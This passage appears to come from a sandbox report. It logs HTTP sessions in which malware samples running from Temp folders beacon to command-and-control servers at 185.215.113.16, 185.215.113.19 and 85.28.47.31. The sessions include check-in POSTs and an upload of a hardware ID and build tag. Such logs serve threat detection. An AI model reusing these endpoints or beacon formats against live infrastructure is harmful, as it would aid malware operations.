Jul 27, 2024 12:02:18.935527086 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:19.186095953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49753	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:19.146461010 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:19.897557974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:19.898540974 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:20.149122953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49754	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:19.305855989 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:20.103190899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:20.103916883 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:20.358489037 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49755	85.28.47.31	80	4744	C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:19.403208971 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 12:02:20.053785086 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:02:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:02:20.056205034 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDA Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 32 35 45 38 39 44 38 30 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="hwid"B125E89D806E2371543510------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="build"sila------KKFHJDAEHIEHJJKFBGDA--
Jul 27, 2024 12:02:20.237324953 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:02:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49756	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:20.268204927 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:21.108997107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:21.109843016 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:21.358563900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49757	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:20.472399950 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:21.299762964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:21.300507069 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:21.551429987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49759	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:21.473674059 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:22.238639116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:22.239424944 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:22.496944904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49760	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:21.938817978 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:22.701869965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:22.702723980 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:22.957531929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49761	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:22.612149000 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:23.362188101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:23.362886906 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:23.617238045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49762	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:23.286663055 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:24.040705919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:24.041333914 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:24.287559986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49763	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:23.737757921 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:24.526741028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:24.527692080 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:24.945674896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49765	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:24.409009933 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:25.181107998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:25.182008028 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:25.431576014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49767	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:25.065233946 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:25.826829910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:25.831455946 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
